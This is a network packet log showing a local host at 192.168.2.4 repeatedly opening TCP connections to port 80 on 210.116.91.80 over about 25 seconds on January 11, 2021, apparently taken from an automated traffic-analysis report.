Jan 11, 2021 17:56:46.151932001 CET	80	49968	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:46.152215004 CET	49968	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:46.153100967 CET	49968	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:46.153297901 CET	80	49967	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:46.409792900 CET	80	49968	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:46.409984112 CET	49968	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:46.410207987 CET	49968	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:46.523684025 CET	49969	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:46.666134119 CET	80	49968	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:46.790422916 CET	80	49969	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:46.790725946 CET	49969	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:46.829166889 CET	49969	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:47.096776962 CET	80	49969	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:47.097031116 CET	49969	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:47.097254038 CET	49969	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:47.101547003 CET	49970	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:47.363529921 CET	80	49969	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:47.363579988 CET	80	49970	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:47.363853931 CET	49970	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:47.519306898 CET	49970	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:47.781912088 CET	80	49970	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:47.782090902 CET	49970	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:47.901712894 CET	49970	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:47.905128956 CET	49971	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:48.163491011 CET	80	49970	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:48.174604893 CET	80	49971	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:48.174798012 CET	49971	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:48.175436020 CET	49971	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:48.446273088 CET	80	49971	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:48.446420908 CET	49971	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:48.446685076 CET	49971	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:48.568480015 CET	49972	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:48.715831995 CET	80	49971	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:48.828990936 CET	80	49972	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:48.829293966 CET	49972	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:48.830677986 CET	49972	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:49.091150045 CET	80	49972	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:49.091542006 CET	49972	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:49.091748953 CET	49972	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:49.098973036 CET	49973	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:49.351325035 CET	80	49972	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:49.363379955 CET	80	49973	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:49.363615990 CET	49973	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:49.365000010 CET	49973	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:49.629981041 CET	80	49973	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:49.630352974 CET	49973	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:49.630521059 CET	49973	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:49.637825012 CET	49974	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:49.894679070 CET	80	49973	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:49.898964882 CET	80	49974	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:49.899383068 CET	49974	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:49.900779009 CET	49974	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:50.162297010 CET	80	49974	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:50.162518024 CET	49974	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:50.162801027 CET	49974	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:50.274938107 CET	49975	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:50.423285961 CET	80	49974	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:50.535830021 CET	80	49975	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:50.536118031 CET	49975	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:50.537497997 CET	49975	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:50.798779011 CET	80	49975	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:50.798882008 CET	49975	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:50.799190998 CET	49975	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:50.803224087 CET	49976	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:51.059627056 CET	80	49975	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:51.065454006 CET	80	49976	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:51.065658092 CET	49976	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:51.066354036 CET	49976	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:51.329032898 CET	80	49976	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:51.331746101 CET	49976	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:51.331938982 CET	49976	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:51.338699102 CET	49977	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:51.593822956 CET	80	49976	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:51.601352930 CET	80	49977	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:51.601703882 CET	49977	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:51.603130102 CET	49977	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:51.866241932 CET	80	49977	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:51.869525909 CET	49977	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:51.869883060 CET	49977	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:51.991848946 CET	49978	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:52.132365942 CET	80	49977	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:52.262501955 CET	80	49978	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:52.262820005 CET	49978	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:52.263866901 CET	49978	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:52.534707069 CET	80	49978	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:52.535018921 CET	49978	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:52.535310984 CET	49978	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:52.542701006 CET	49979	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:52.801954985 CET	80	49979	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:52.802259922 CET	49979	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:52.803566933 CET	49979	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:52.805335999 CET	80	49978	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:53.063415051 CET	80	49979	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:53.063558102 CET	49979	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:53.063844919 CET	49979	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:53.071428061 CET	49980	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:53.322707891 CET	80	49979	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:53.333473921 CET	80	49980	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:53.333702087 CET	49980	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:53.335024118 CET	49980	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:53.597409964 CET	80	49980	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:53.597496986 CET	49980	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:53.597841978 CET	49980	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:53.711766958 CET	49981	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:53.859447002 CET	80	49980	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:53.971752882 CET	80	49981	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:53.971864939 CET	49981	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:53.972723961 CET	49981	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:54.233335018 CET	80	49981	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:54.233619928 CET	49981	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:54.234000921 CET	49981	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:54.240957022 CET	49982	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:54.493748903 CET	80	49981	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:54.502712011 CET	80	49982	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:54.504149914 CET	49982	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:54.505481958 CET	49982	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:54.767642021 CET	80	49982	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:54.768022060 CET	49982	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:54.768203974 CET	49982	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:54.775510073 CET	49983	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:55.029536009 CET	80	49982	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:55.039393902 CET	80	49983	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:55.039675951 CET	49983	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:55.040930033 CET	49983	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:55.305458069 CET	80	49983	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:55.305717945 CET	49983	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:55.305982113 CET	49983	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:55.445055008 CET	49984	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:55.569436073 CET	80	49983	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:55.705029964 CET	80	49984	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:55.705284119 CET	49984	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:55.707200050 CET	49984	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:55.967573881 CET	80	49984	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:55.967843056 CET	49984	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:55.968518972 CET	49984	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:55.972381115 CET	49985	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:56.228074074 CET	80	49984	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:56.233721018 CET	80	49985	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:56.233833075 CET	49985	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:56.234875917 CET	49985	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:56.496800900 CET	80	49985	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:56.496898890 CET	49985	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:56.497128963 CET	49985	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:56.516098022 CET	49986	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:56.758363962 CET	80	49985	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:56.777096987 CET	80	49986	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:56.777199030 CET	49986	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:56.778594971 CET	49986	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:57.040232897 CET	80	49986	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:57.040390015 CET	49986	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:57.040759087 CET	49986	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:57.166096926 CET	49987	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:57.301558018 CET	80	49986	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:57.436199903 CET	80	49987	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:57.437164068 CET	49987	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:57.437668085 CET	49987	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:57.708017111 CET	80	49987	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:57.708268881 CET	49987	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:57.708306074 CET	49987	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:57.711724043 CET	49988	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:57.977143049 CET	80	49988	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:57.977421999 CET	49988	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:57.977835894 CET	80	49987	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:57.978763103 CET	49988	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:58.244816065 CET	80	49988	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:58.244923115 CET	49988	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:58.245079994 CET	49988	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:58.250883102 CET	49989	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:58.510381937 CET	80	49988	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:58.513766050 CET	80	49989	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:58.513930082 CET	49989	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:58.514718056 CET	49989	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:58.778353930 CET	80	49989	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:58.778439999 CET	49989	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:58.778712034 CET	49989	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:58.896663904 CET	49990	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:59.041357994 CET	80	49989	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:59.166450977 CET	80	49990	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:59.166721106 CET	49990	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:59.167829990 CET	49990	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:59.438096046 CET	80	49990	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:59.438848972 CET	49990	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:59.439066887 CET	49990	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:59.443248987 CET	49991	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:59.703114033 CET	80	49991	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:59.705373049 CET	49991	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:59.705952883 CET	49991	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:59.708353043 CET	80	49990	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:59.966298103 CET	80	49991	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:59.966451883 CET	49991	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:59.966603041 CET	49991	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:59.970931053 CET	49992	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:00.226361990 CET	80	49991	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:00.241269112 CET	80	49992	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:00.241576910 CET	49992	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:00.242861032 CET	49992	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:00.514053106 CET	80	49992	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:00.514270067 CET	49992	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:00.514388084 CET	49992	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:00.632098913 CET	49993	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:00.784390926 CET	80	49992	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:00.894431114 CET	80	49993	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:00.896258116 CET	49993	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:00.899096012 CET	49993	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:01.161788940 CET	80	49993	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:01.162600994 CET	49993	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:01.162818909 CET	49993	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:01.168117046 CET	49994	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:01.424777985 CET	80	49993	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:01.434789896 CET	80	49994	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:01.434952021 CET	49994	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:01.435544014 CET	49994	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:01.703845978 CET	80	49994	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:01.704631090 CET	49994	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:01.704684019 CET	49994	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:01.709749937 CET	49995	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:01.968728065 CET	80	49995	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:01.968848944 CET	49995	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:01.970967054 CET	80	49994	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:01.973064899 CET	49995	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:02.232410908 CET	80	49995	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:02.232615948 CET	49995	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:02.232778072 CET	49995	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:02.348870993 CET	49996	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:02.493532896 CET	80	49995	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:02.620594025 CET	80	49996	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:02.620829105 CET	49996	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:02.624804020 CET	49996	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:02.896562099 CET	80	49996	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:02.897696972 CET	49996	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:02.897885084 CET	49996	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:02.902229071 CET	49997	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:03.168735027 CET	80	49996	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:03.170665979 CET	80	49997	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:03.171761990 CET	49997	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:03.172489882 CET	49997	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:03.441670895 CET	80	49997	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:03.442338943 CET	49997	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:03.442393064 CET	49997	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:03.446980000 CET	49998	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:03.707658052 CET	80	49998	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:03.707870960 CET	49998	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:03.708731890 CET	49998	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:03.711174965 CET	80	49997	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:03.969791889 CET	80	49998	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:03.970218897 CET	49998	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:03.970506907 CET	49998	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:04.086889982 CET	49999	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:04.230910063 CET	80	49998	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:04.345704079 CET	80	49999	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:04.345808029 CET	49999	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:04.347138882 CET	49999	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:04.606370926 CET	80	49999	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:04.606729031 CET	49999	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:04.607002974 CET	49999	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:04.612628937 CET	50000	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:04.865374088 CET	80	49999	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:04.880047083 CET	80	50000	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:04.880150080 CET	50000	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:04.880650043 CET	50000	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:05.148592949 CET	80	50000	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:05.148885965 CET	50000	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:05.149266958 CET	50000	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:05.153470993 CET	50001	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:05.412210941 CET	80	50001	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:05.412880898 CET	50001	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:05.413639069 CET	50001	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:05.416162014 CET	80	50000	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:05.672926903 CET	80	50001	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:05.673424006 CET	50001	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:05.673607111 CET	50001	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:05.787820101 CET	50002	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:05.932152987 CET	80	50001	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:06.050143957 CET	80	50002	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:06.052989960 CET	50002	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:06.053875923 CET	50002	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:06.316679001 CET	80	50002	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:06.316828012 CET	50002	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:06.316998005 CET	50002	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:06.321404934 CET	50003	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:06.578958035 CET	80	50002	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:06.582519054 CET	80	50003	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:06.583700895 CET	50003	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:06.586606026 CET	50003	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:06.848301888 CET	80	50003	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:06.849004030 CET	50003	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:06.851136923 CET	50003	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:06.855823040 CET	50004	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:07.112061024 CET	80	50003	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:07.115540028 CET	80	50004	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:07.115823030 CET	50004	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:07.116955042 CET	50004	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:07.377197981 CET	80	50004	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:07.377598047 CET	50004	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:07.377754927 CET	50004	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:07.496227980 CET	50005	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:07.637348890 CET	80	50004	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:07.764731884 CET	80	50005	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:07.764872074 CET	50005	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:07.765417099 CET	50005	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:08.034401894 CET	80	50005	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:08.034543037 CET	50005	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:08.034780025 CET	50005	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:08.041189909 CET	50006	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:08.302207947 CET	80	50006	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:08.303275108 CET	80	50005	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:08.304860115 CET	50006	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:08.305757046 CET	50006	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:08.567388058 CET	80	50006	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:08.568679094 CET	50006	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:08.568826914 CET	50006	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:08.572065115 CET	50007	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:08.829576015 CET	80	50006	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:08.842705011 CET	80	50007	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:08.844504118 CET	50007	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:08.846982002 CET	50007	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:09.118041992 CET	80	50007	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:09.118246078 CET	50007	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:09.118396997 CET	50007	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:09.239790916 CET	50008	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:09.389296055 CET	80	50007	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:09.512394905 CET	80	50008	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:09.512562037 CET	50008	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:09.513710022 CET	50008	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:09.786297083 CET	80	50008	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:09.786765099 CET	50008	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:09.786947012 CET	50008	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:09.796256065 CET	50009	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:10.057766914 CET	80	50009	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:10.058018923 CET	50009	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:10.058687925 CET	50009	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:10.058742046 CET	80	50008	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:10.320363045 CET	80	50009	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:10.321373940 CET	50009	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:10.321631908 CET	50009	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:10.327044964 CET	50010	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:10.582608938 CET	80	50009	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:10.590290070 CET	80	50010	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:10.590643883 CET	50010	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:10.591623068 CET	50010	80	192.168.2.4	210.116.91.80
